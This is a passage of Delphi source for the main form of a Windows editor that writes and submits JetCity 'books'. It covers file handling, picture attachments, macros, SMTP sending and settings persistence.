TBSeparatorItem1: TTBSeparatorItem;
TBItem7: TTBItem;
TBItem8: TTBItem;
TBItem10: TTBItem;
acTitle: TAction;
N54: TMenuItem;
TBItem11: TTBItem;
LinksTimer: TTimer;
SelTimer: TTimer;
acMacro: TAction;
N55: TMenuItem;
miFormatMacro: TMenuItem;
N57: TMenuItem;
N58: TMenuItem;
acBookFormat: TAction;
pnEmul: TPanel;
tmEmul: TTimer;
acMusic: TAction;
MusicOpenDialog: TOpenDialog;
N56: TMenuItem;
TBItem12: TTBItem;
Unzip: TAbUnZipper;
acMakeSourceBook: TAction;
procedure EditorChange(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure acFileNewExecute(Sender: TObject);
procedure acFileOpenExecute(Sender: TObject);
procedure acFileSaveExecute(Sender: TObject);
procedure acFileSaveAsExecute(Sender: TObject);
procedure acFileExitExecute(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure ActionListUpdate(Action: TBasicAction; var Handled: Boolean);
procedure acCompilerSettingsExecute(Sender: TObject);
procedure acRefreshExecute(Sender: TObject);
procedure acAboutExecute(Sender: TObject);
procedure acBackgroundExecute(Sender: TObject);
procedure acEditorSettingsExecute(Sender: TObject);
procedure acPickColorExecute(Sender: TObject);
procedure SMTPRequestDone(Sender: TObject; RqType: TSmtpRequest; ErrorCode: Word);
procedure acSendExecute(Sender: TObject);
procedure EditorSpecialLineColors(Sender: TObject; Line: Integer; var Special: Boolean; var FG,BG: TColor);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure acBoldExecute(Sender: TObject);
procedure acItalicExecute(Sender: TObject);
procedure acUnderlineExecute(Sender: TObject);
procedure acBigExecute(Sender: TObject);
procedure acSmallExecute(Sender: TObject);
procedure acFindExecute(Sender: TObject);
procedure acFindNextExecute(Sender: TObject);
procedure acReplaceExecute(Sender: TObject);
procedure acSelectAllExecute(Sender: TObject);
procedure acCutExecute(Sender: TObject);
procedure acCopyExecute(Sender: TObject);
procedure acPasteExecute(Sender: TObject);
procedure acUndoExecute(Sender: TObject);
procedure acRedoExecute(Sender: TObject);
procedure fdEditorFind(Sender: TObject);
procedure rdEditorReplace(Sender: TObject);
procedure acPictureExecute(Sender: TObject);
procedure acColorExecute(Sender: TObject);
procedure acAlignLeftExecute(Sender: TObject);
procedure acAlignCenterExecute(Sender: TObject);
procedure acAlignRightExecute(Sender: TObject);
procedure acAlignPoetExecute(Sender: TObject);
procedure EditorSelectionChange(Sender: TObject);
procedure acAddExecute(Sender: TObject);
procedure acDeleteExecute(Sender: TObject);
procedure lvImagesEnter(Sender: TObject);
procedure lvImagesSelectItem(Sender: TObject; Item: TListItem; Selected: Boolean);
procedure lvImagesExit(Sender: TObject);
procedure tmLoadTimer(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure lvImagesDblClick(Sender: TObject);
procedure acHelpExecute(Sender: TObject);
procedure acVoteExecute(Sender: TObject);
procedure acVictorExecute(Sender: TObject);
procedure SMTPDisplay(Sender: TObject; Msg: String);
procedure SMTPSessionConnected(Sender: TObject; ErrCode: Word);
procedure SMTPSessionClosed(Sender: TObject; ErrCode: Word);
procedure acTitleExecute(Sender: TObject);
procedure stStatusDblClick(Sender: TObject);
procedure LinksTimerTimer(Sender: TObject);
procedure SelTimerTimer(Sender: TObject);
procedure EditorDropFiles(Sender: TObject; X,Y: Integer; Files: TStrings);
procedure EditorScrollHint(Sender: TObject; NewTopLine: Integer; var HintText: string);
procedure acMacroExecute(Sender: TObject);
function CompletionProposalPaintItem(Key: String; Canvas: TCanvas; x,y: Integer): Boolean;
procedure acBookFormatExecute(Sender: TObject);
procedure tmEmulTimer(Sender: TObject);
procedure acMusicExecute(Sender: TObject);
procedure StaticText2DblClick(Sender: TObject);
procedure acMakeSourceBookExecute(Sender: TObject);
procedure StorageRestorePlacement(Sender: TObject);
private
FLinks: TStrings;
FButtons: TStrings;
FFind: TStrings;
FReplace: TStrings;
FFileName: string;
FDone: boolean;
FError: boolean;
FLine: integer;
FErrLine: integer;
FLastFontColor: TColor;
function ConfirmSave: boolean;
function AddPicture(const FN: string): string;
function GetBgColor: TColor;
function GetCurPara: string;
function ListItemFile(LI: TListItem; NameOnly: boolean = FALSE): string;
function FindListItem(const F: string): integer;
function GetTitle: string;
function EditorToken: string;
procedure ClearErrorLine;
procedure AddMRU(const F: string);
procedure SetFileName(const Value: string);
procedure LoadSettings;
procedure SaveSettings;
procedure UpdateSettings;
procedure Indicate(const Msg: string);
procedure SetBgColor(const Value: TColor);
procedure FillFileList(A: TStrings; var N: string);
procedure FillLinks;
procedure Wait;
procedure SetCurPara(const Value: string);
procedure AppHint(Sender: TObject);
procedure MRUClick(Sender: TObject);
procedure MacroClick(Sender: TObject);
procedure FillListItem(LI: TListItem; const FN: string; Silent: boolean = FALSE);
procedure ChangeStyle(L: TStrings; ToPhone,UpdateList: boolean);
procedure AppException(Sender: TObject; E: Exception);
procedure SetTitle(const Value: string);
procedure CheckRoot(L: TStrings);
public
PAT: string;
Settings: TSettings;
Macro: array[0..9] of string;
procedure Error(const M: string; L: integer = 0);
procedure LoadFromFile(const FN: string);
procedure SaveToFile(const FN: string);
procedure SendMail(const MailText: string = ''; MailAtt: string = '');
function Compile(var ID: string): string;
function RunEmulator(const ID: string): THandle;
property FileName: string read FFileName write SetFileName;
property BgColor: TColor read GetBgColor write SetBgColor;
property Title: string read GetTitle write SetTitle;
property CurPara: string read GetCurPara write SetCurPara;
end;
var
fmMain: TfmMain;
function ColorWindowsToBook(C: TColor): string;
implementation
{$R *.dfm}
uses
ipUtils, Math, IniFiles, Registry, Settings, CustomizeEditor, ShowColor, About, Clipbrd, ShowImage, ShowMusic, Vote, Victor, BookTitle, EditMacro, SyncObjs, FirstStart, socks, ShellAPI;
type
CTbl = array[0..0,0..1] of string;
PCTbl = ^CTbl;
var
CS: TCriticalSection;
LogFile: string;
LastAID: string;
LastView: string;
LastSet: string;
KeyWords: TStrings;
Emul: THandle;
Dspl: THandle;
PI: TProcessInformation;
FirstStartFlag: boolean;
CNC: integer;
CN: PCTbl;
{ Routines }
procedure StartLog;
begin
CS.Enter;
try
TFileStream.Create(LogFile,fmCreate).Free;
finally
CS.Leave;
end;
end;
procedure Log(const Msg: string);
var
F: Text;
begin
CS.Enter;
try
AssignFile(F,LogFile);
Append(F);
Writeln(F,Msg);
Flush(F);
CloseFile(F);
finally
CS.Leave;
end;
end;
function StandardColor(C: string): string;
var
I: integer;
begin
Result:=C;
for I:=0 to CNC-1 do if AnsiCompareText(C,CN[I,1])=0 then begin
Result:=CN[I,0];
break;
end;
end;
function ColorBookToWindows(C: string; Def: TColor): TColor;
var
R,G,B,I: integer;
begin
Result:=Def;
for I:=0 to CNC-1 do if AnsiCompareText(C,CN[I,0])=0 then begin
C:=CN[I,1];
break;
end;
R:=StrToIntDef(Split(1,C,[':']),-1);
G:=StrToIntDef(Split(2,C,[':']),-1);
B:=StrToIntDef(Split(3,C,[':']),-1);
if (R<0) or (R>255) or (G<0) or (G>255) or (B<0) or (B>255) then Exit;
Result:=RGB(R,G,B);
end;
function ColorBookToWindowsBool(C: string; var Res: TColor): boolean;
var
R,G,B,I: integer;
begin
Result:=FALSE;
for I:=0 to CNC-1 do if AnsiCompareText(C,CN[I,0])=0 then begin
C:=CN[I,1];
break;
end;
R:=StrToIntDef(Split(1,C,[':']),-1);
G:=StrToIntDef(Split(2,C,[':']),-1);
B:=StrToIntDef(Split(3,C,[':']),-1);
if (R<0) or (R>255) or (G<0) or (G>255) or (B<0) or (B>255) then Exit;
Res:=RGB(R,G,B);
Result:=TRUE;
end;
function ColorWindowsToBook(C: TColor): string;
begin
Result:=Format('%d:%d:%d',[C and $FF,(C shr 8) and $FF,(C shr 16) and $FF]);
end;
function IsStyleString(const S: string): boolean;
begin
Result:=(AnsiPos('$STYLE',S)=1) or (AnsiPos('$KPSTYLE',S)=1);
end;
function IsImgString(const S: string): boolean;
begin
Result:=(AnsiPos('$KEYPAD',S)=1) or (AnsiPos('$SMILE',S)=1) or (AnsiPos('$BOOKSMILE',S)=1);
end;
function ConnectProxySocket(const Host: string; Port: integer = 80): integer;
var
H: string;
P: integer;
begin
H:=Host;
P:=Port;
try
with TRegistry.Create do try
RootKey:=HKEY_CURRENT_USER;
if OpenKey('Software\Microsoft\Windows\CurrentVersion\Internet Settings',FALSE) and ReadBool('ProxyEnable') then begin
H:=ReadString('ProxyServer');
P:=StrToIntDef(Split(2,H,[':']),80);
H:=Split(1,H,[':']);
end;
finally
Free;
end;
except end;
Result:=ConnectSocket(H,P);
end;
function StrFindPart(P: integer; const S: string): integer;
var
I,L: integer;
begin
L:=Length(S);
Result:=1;
for I:=1 to P-1 do begin
while (Result<=L) and (S[Result]=' ') do inc(Result);
while (Result<=L) and (S[Result]<>' ') do inc(Result);
end;
while (Result<=L) and (S[Result]=' ') do inc(Result);
if Result>L then Result:=0;
end;
function StrExtractPart(Pt: integer; const S: string; var Ps: integer): string;
var
I: integer;
begin
Result:='';
Ps:=StrFindPart(Pt,S);
if Ps>0 then begin
I:=Ps;
while (I<=Length(S)) and (S[I]<>' ') do begin
Result:=Result+S[I];
inc(I);
end;
end;
end;
function StrReplacePart(Pt,Ps: integer; const S,F: string): string;
var
I: integer;
begin
if Ps=0 then Result:=S+' '+F else begin
Result:=Copy(S,1,Ps-1)+F;
I:=Ps;
while (I<=Length(S)) and (S[I]<>' ') do inc(I);
Result:=Result+Copy(S,I,MaxInt);
end;
end;
function FindParam(const Smp,Src: string): integer;
begin
Result:=Pos(Smp,Src);
if Result>0 then inc(Result,Length(Smp));
end;
function MusType(const F: string): string;
begin
Result:=ExtractFileExt(F);
if (AnsiUpperCase(Result)='.MIDI') or (AnsiUpperCase(Result)='.MID') then Result:='midi' else
if AnsiUpperCase(Result)='.MP3' then Result:='mp3' else
if AnsiUpperCase(Result)='.AMR' then Result:='amr' else Result:='';
end;
{ TfmMain }
procedure TfmMain.Error(const M: string; L: integer = 0);
var
O: integer;
begin
if L=0 then L:=FLine;
stStatus.Font.Color:=clRed;
stStatus.Caption:=' '+M;
stStatus.Tag:=L;
if L>0 then begin
if FErrLine<>L then begin
O:=FErrLine;
FErrLine:=L;
if O>=0 then Editor.InvalidateLine(O);
if L>=0 then Editor.InvalidateLine(L);
Application.ProcessMessages;
end;
Editor.TopLine:=L-(Editor.LinesInWindow div 2);
Editor.CaretY:=L;
Editor.CaretX:=1;
ShowErr(M);
end;
Abort;
end;
procedure TfmMain.ClearErrorLine;
var
L: integer;
begin
if FErrLine>=0 then begin
L:=FErrLine;
FErrLine:=0;
Editor.InvalidateLine(L);
stStatus.Caption:='';
stStatus.Tag:=0;
stStatus.Font.Color:=clPurple;
end;
end;
procedure TfmMain.EditorChange(Sender: TObject);
begin
ClearErrorLine;
LinksTimer.Enabled:=FALSE;
LinksTimer.Enabled:=TRUE;
end;
procedure TfmMain.FormCreate(Sender: TObject);
var
I,C: integer;
P,A: string;
function GetMText(const FN: string): string;
begin
with TStringList.Create do try
LoadFromFile(FN);
Result:=Text;
finally
Free;
end;
end;
begin
PAT:=Application.Title;
Application.OnHint:=AppHint;
Application.OnException:=AppException;
FErrLine:=0;
FLine:=0;
Macro[1]:='| <br>| ';
Macro[2]:='| <hr>| ';
Macro[3]:='<aboutme> Об авторе';
Macro[4]:='<sendme> Оставить отзыв';
Macro[5]:='<payme> Кепка творца';
Macro[6]:='<hr><hr>| <p>| <pc><b>[...]</b>| <p>| <hr><hr>|| ';
Macro[0]:='<store> В хранилище (<color:blue><b><size>K</b></color>)';
LoadSettings;
FButtons:=TStringList.Create;
FLinks:=TStringList.Create;
FFind:=TStringList.Create;
FReplace:=TStringList.Create;
FileName:='';
if (ParamCount=2) and (ParamStr(1)='-s') and FileExists(ParamStr(2)) then begin
A:='';
Settings.PhoneStyle:=FileExists(ChangeFileExt(ParamStr(2),'.att'));
if FileExists(ChangeFileExt(ParamStr(2),'.att')) then with TIniFile.Create(ChangeFileExt(ParamStr(2),'.att')) do try
C:=ReadInteger('Картинки','Количество',0);
for I:=1 to C do begin
P:=ReadString('Картинки',IntToStr(I),'');
A:=A+ExtractFilePath(ParamStr(2))+P+#13#10;
end;
finally
Free;
end;
if Settings.PhoneStyle then begin
FileName:=ParamStr(2);
SendMail(GetMText(ParamStr(2)),A);
end else begin
Editor.Modified:=FALSE;
LoadFromFile(ParamStr(2));
SendMail;
end;
Application.Terminate;
Exit;
end;
EditorChange(nil);
end;
procedure TfmMain.FormDestroy(Sender: TObject);
begin
FReplace.Free;
FFind.Free;
FLinks.Free;
FButtons.Free;
end;
procedure TfmMain.FillListItem(LI: TListItem; const FN: string; Silent: boolean = FALSE);
var
_: string;
Ic: HIcon;
TIc: TIcon;
begin
LI.Caption:=IntToStr(LI.Index+1)+': '+AddPicture(FN);
if Silent then Exit;
GetSmallFileInfo(FN,_,Ic);
TIc:=TIcon.Create;
try
TIc.Handle:=Ic;
LI.ImageIndex:=ilImages.AddIcon(TIc);
finally
TIc.Free;
end;
end;
procedure TfmMain.LoadFromFile(const FN: string);
var
I,C: integer;
P: string;
begin
ClearErrorLine;
Editor.Lines.Clear;
lvImages.Items.Clear;
ilImages.Clear;
Settings.PhoneStyle:=FileExists(ChangeFileExt(FN,'.att'));
UpdateSettings;
Editor.Lines.LoadFromFile(FN);
Editor.Text:=ReplaceStr(Editor.Text,#9,' ');
FileName:=FN;
Editor.Modified:=FALSE;
if FileExists(ChangeFileExt(FN,'.att')) then with TIniFile.Create(ChangeFileExt(FN,'.att')) do try
C:=ReadInteger('Картинки','Количество',0);
for I:=1 to C do begin
P:=ReadString('Картинки',IntToStr(I),'');
if (P<>'') and FileExists(ExtractFilePath(FN)+P) then FillListItem(lvImages.Items.Add,ExtractFilePath(FN)+P);
end;
finally
Free;
end;
AddMRU(FN);
FillLinks;
end;
procedure TfmMain.SaveToFile(const FN: string);
var
I: integer;
begin
ClearErrorLine;
Editor.Lines.SaveToFile(FN);
Editor.Modified:=FALSE;
if Settings.PhoneStyle then with TIniFile.Create(ChangeFileExt(FN,'.att')) do try
WriteInteger('Картинки','Количество',lvImages.Items.Count);
for I:=0 to lvImages.Items.Count-1 do WriteString('Картинки',IntToStr(I+1),ListItemFile(lvImages.Items[I],TRUE));
finally
Free;
end else if FileExists(ChangeFileExt(FN,'.att')) and not Settings.PhoneStyle then DeleteFile(ChangeFileExt(FN,'.att'));
end;
procedure TfmMain.acFileNewExecute(Sender: TObject);
begin
if ConfirmSave then begin
FileName:='';
Editor.ClearAll;
lvImages.Items.Clear;
ilImages.Clear;
end;
end;
procedure TfmMain.acFileOpenExecute(Sender: TObject);
begin
with OpenDialog do if ConfirmSave and Execute then LoadFromFile(FileName);
end;
procedure TfmMain.acFileSaveExecute(Sender: TObject);
begin
if FileName='' then acFileSaveAs.Execute else SaveToFile(FileName);
end;
procedure TfmMain.acFileSaveAsExecute(Sender: TObject);
begin
if SaveDialog.Execute then begin
SaveToFile(SaveDialog.FileName);
FileName:=SaveDialog.FileName;
AddMRU(SaveDialog.FileName);
end;
end;
procedure TfmMain.acFileExitExecute(Sender: TObject);
begin
Close;
end;
procedure TfmMain.SetFileName(const Value: string);
begin
FFileName:=Value;
if Value='' then begin
Application.Title:=PAT;
Caption:=PAT;
SaveDialog.InitialDir:=ExtractFilePath(FFileName);
SaveDialog.FileName:='';
end else begin
Application.Title:=Format('%s - %s',[ExtractFileName(Value),PAT]);
Caption:=Format('%s - [%s]',[PAT,Value]);
end;
end;
procedure TfmMain.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose:=ConfirmSave;
end;
function TfmMain.ConfirmSave: boolean;
begin
Result:=TRUE;
if Editor.Modified then case ShowDlg('Сохранить изменения?',mtConfirmation,[mbYes,mbNo,mbCancel]) of
mrYes: acFileSave.Execute;
mrCancel: Result:=FALSE;
end;
end;
procedure TfmMain.ActionListUpdate(Action: TBasicAction; var Handled: Boolean);
begin
acFileSave.Enabled:=Editor.Modified;
acBold.Enabled:=Editor.SelAvail;
acItalic.Enabled:=acBold.Enabled;
acUnderline.Enabled:=acBold.Enabled;
acBig.Enabled:=acBold.Enabled;
acSmall.Enabled:=acBold.Enabled;
acFind.Enabled:=Editor.LineCount>0;
acFindNext.Enabled:=acFind.Enabled and (fdEditor.FindText<>'');
acReplace.Enabled:=acFind.Enabled;
acSelectAll.Enabled:=acFind.Enabled;
acCut.Enabled:=Editor.SelAvail;
acCopy.Enabled:=Editor.SelAvail;
acPaste.Enabled:=Clipboard.HasFormat(CF_TEXT);
acUndo.Enabled:=Editor.CanUndo;
acRedo.Enabled:=Editor.CanRedo;
acColor.Enabled:=not acBold.Enabled;
acDelete.Enabled:=lvImages.Selected<>nil;
end;
procedure TfmMain.UpdateSettings;
var
I: integer;
const
StyleText: array[boolean] of string = ('обычная книга' ,'как с телефона');
function MacroCaption(const S: string): string;
begin
Result:=S;
if Length(Result)>64 then begin
SetLength(Result,60);
Result:=Result+' ...';
end;
end;
procedure InsertItem(I: integer);
var
MI: TMenuItem;
begin
if Macro[I]='' then Exit;
MI:=TMenuItem.Create(miFormatMacro);
MI.Caption:=MacroCaption(Macro[I]);
MI.Tag:=I;
MI.HelpContext:=miFormatMacro.HelpContext;
MI.ShortCut:=TextToShortCut('Alt+'+IntToStr(I));
MI.OnClick:=MacroClick;
miFormatMacro.Insert(0,MI);
end;
begin
with Settings do begin
splImages.Visible:=PhoneStyle;
pnImages.Visible:=PhoneStyle;
pnImages.Top:=10000;
sbMain.Panels[0].Text:=' Стиль: '+StyleText[PhoneStyle];
with miFormatMacro do while Count>2 do Delete(0);
InsertItem(0);
for I:=9 downto 1 do InsertItem(I);
end;
end;
procedure TfmMain.MRUClick(Sender: TObject);
begin
LoadFromFile((Sender as TMenuItem).Hint);
end;
procedure TfmMain.AddMRU(const F: string);
var
I: integer;
MI: TMenuItem;
R: TRect;
P: PChar;
begin
if F<>'' then try
for I:=5 to miFile.Count-3 do if AnsiCompareText(miFile.Items[I].Hint,F)=0 then begin
miFile.Items[I].MenuIndex:=5;
Exit;
end;
MI:=TMenuItem.Create(Self);
MI.HelpContext:=acFileOpen.HelpContext;
MI.Hint:=F;
P:=AllocMem(1024);
try
StrPCopy(P,F);
R:=Rect(0,0,200,24);
DrawText(Canvas.Handle,P,Length(F),R,DT_SINGLELINE or DT_PATH_ELLIPSIS or DT_MODIFYSTRING);
MI.Caption:=P;
finally
FreeMem(P);
end;
MI.OnClick:=MRUClick;
miFile.Insert(5,MI);
while miFile.Count>15 do miFile.Items[miFile.Count-3].Free;
finally
for I:=5 to miFile.Count-3 do miFile.Items[I].ShortCut:=TextToShortCut('Ctrl+'+IntToStr(I-4));
end;
end;
const
SGeneral = 'Общие';
SFiles = 'Последние открытые файлы';
SMail = 'Почта';
SPassword = 'Пароль';
SEditor = 'Редактор';
SBack = 'Цвет фона';
SFore = 'Цвет текста';
SStyle = 'Стиль шрифта';
SMacro = 'Макросы';
SHost = 'Сервер';
SPort = 'Порт';
Gorod = 'gorod.jetcity.ru';
procedure TfmMain.LoadSettings;
var
I: integer;
begin
TBIniLoadPositions(Self,ChangeFileExt(Application.ExeName,'.ini'),'Управление');
with TIniFile.Create(ChangeFileExt(Application.ExeName,'.ini')),Settings do try
FirstStartFlag:=ReadBool(SGeneral,'Первый старт',TRUE);
Ident:=ReadString(SGeneral,'Идентификатор','00000000');
Password:=ReadString(SGeneral,SPassword,'');
JCHost:=ReadString(SGeneral,SHost,Gorod);
JCPort:=ReadInteger(SGeneral,SPort,80);
FLastFontColor:=ColorBookToWindows(ReadString(SGeneral,'Цвет',''),clBlack);
PhoneStyle:=ReadBool(SGeneral,'Стиль как с телефона',FALSE);
LastView:=ReadString(SGeneral,'Просмотр','Fri, 26 Jan 1975 05:45:23 GMT');
LastSet:=ReadString(SGeneral,'Настройка','Fri, 26 Jan 1975 05:45:23 GMT');
LastAID:=ReadString(SGeneral,'Временная книга','99990000');
for I:=miFile.Count-1 downto 0 do if miFile.Items[I].Caption[1] in ['0'..'9'] then miFile.Items[I].Free;
for I:=ReadInteger(SFiles,'Количество',0) downto 1 do AddMRU(ReadString(SFiles,IntToStr(I),''));
with SMTP do begin
Host:=ReadString(SMail,SHost,Gorod);
Port:=ReadString(SMail,SPort,'smtp');
Username:=ReadString(SMail,'Логин','');
Password:=ReadString(SMail,SPassword,'');
HdrFrom:=ReadString(SMail,'Отправитель','');
FromName:=HdrFrom;
HdrTo:=ReadString(SMail,'Получатель','jc-xxxxxx@jetcity.ru');
RcptName.Text:=HdrTo;
AuthType:=TSmtpAuthType(ReadInteger(SMail,'Аутентификация',0));
end;
with Editor do begin
Color:=ColorBookToWindows(ReadString(SEditor,SBack,''),Color);
Font.Size:=ReadInteger(SEditor,'Размер шрифта',Font.Size);
Font.Name:=ReadString(SEditor,'Название шрифта',Font.Name);
RightEdge:=ReadInteger(SEditor,'Отступ кромки',RightEdge);
RightEdgeColor:=ColorBookToWindows(ReadString(SEditor,'Цвет кромки',''),RightEdgeColor);
end;
with BookSyn.ArgAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.CommentAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.DirectiveAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.InvalidAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.KeyAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ScriptAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ScriptKeywordAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ScriptFuncAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ScriptLabelAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ScriptConstAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.LinkAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.LabelAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.NumberAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.SpaceAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.SplitAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.SubstAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.SymbolAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ValueAttri do begin
Background:=ColorBookToWindows(ReadString(Name,SBack,''),Background);
Foreground:=ColorBookToWindows(ReadString(Name,SFore,''),Foreground);
IntegerStyle:=ReadInteger(Name,SStyle,IntegerStyle);
end;
for I:=0 to 9 do Macro[I]:=ReadString(SMacro,IntToStr(I),Macro[I]);
UpdateSettings;
finally
Free;
end;
end;
procedure TfmMain.SaveSettings;
var
I: integer;
begin
TBIniSavePositions(Self,ChangeFileExt(Application.ExeName,'.ini'),'Управление');
with TIniFile.Create(ChangeFileExt(Application.ExeName,'.ini')),Settings do try
WriteBool(SGeneral,'Первый старт',FirstStartFlag);
WriteString(SGeneral,'Идентификатор',Ident);
WriteString(SGeneral,SPassword,Password);
WriteString(SGeneral,SHost,JCHost);
WriteInteger(SGeneral,SPort,JCPort);
WriteString(SGeneral,'Цвет',ColorWindowsToBook(FLastFontColor));
WriteBool(SGeneral,'Стиль как с телефона',PhoneStyle);
WriteString(SGeneral,'Просмотр',LastView);
WriteString(SGeneral,'Настройка',LastSet);
WriteString(SGeneral,'Временная книга',LastAID);
WriteInteger(SFiles,'Количество',miFile.Count-7);
for I:=5 to miFile.Count-3 do WriteString(SFiles,IntToStr(I-4),miFile.Items[I].Hint);
with SMTP do begin
WriteString(SMail,SHost,Host);
WriteString(SMail,SPort,Port);
WriteString(SMail,'Логин',Username);
WriteString(SMail,SPassword,Password);
WriteString(SMail,'Отправитель',HdrFrom);
WriteString(SMail,'Получатель',HdrTo);
WriteInteger(SMail,'Аутентификация',integer(AuthType));
end;
with Editor do begin
WriteString(SEditor,SBack,ColorWindowsToBook(Color));
WriteInteger(SEditor,'Размер шрифта',Font.Size);
WriteString(SEditor,'Название шрифта',Font.Name);
WriteInteger(SEditor,'Отступ кромки',RightEdge);
WriteString(SEditor,'Цвет кромки',ColorWindowsToBook(RightEdgeColor));
end;
with BookSyn.ArgAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.CommentAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.DirectiveAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ScriptAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ScriptKeywordAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ScriptFuncAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ScriptLabelAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.ScriptConstAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.InvalidAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.KeyAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.LinkAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.LabelAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
with BookSyn.NumberAttri do begin
WriteString(Name,SBack,ColorWindowsToBook(Background));
WriteString(Name,SFore,ColorWindowsToBook(Foreground));
WriteInteger(Name,SStyle,IntegerStyle);
end;
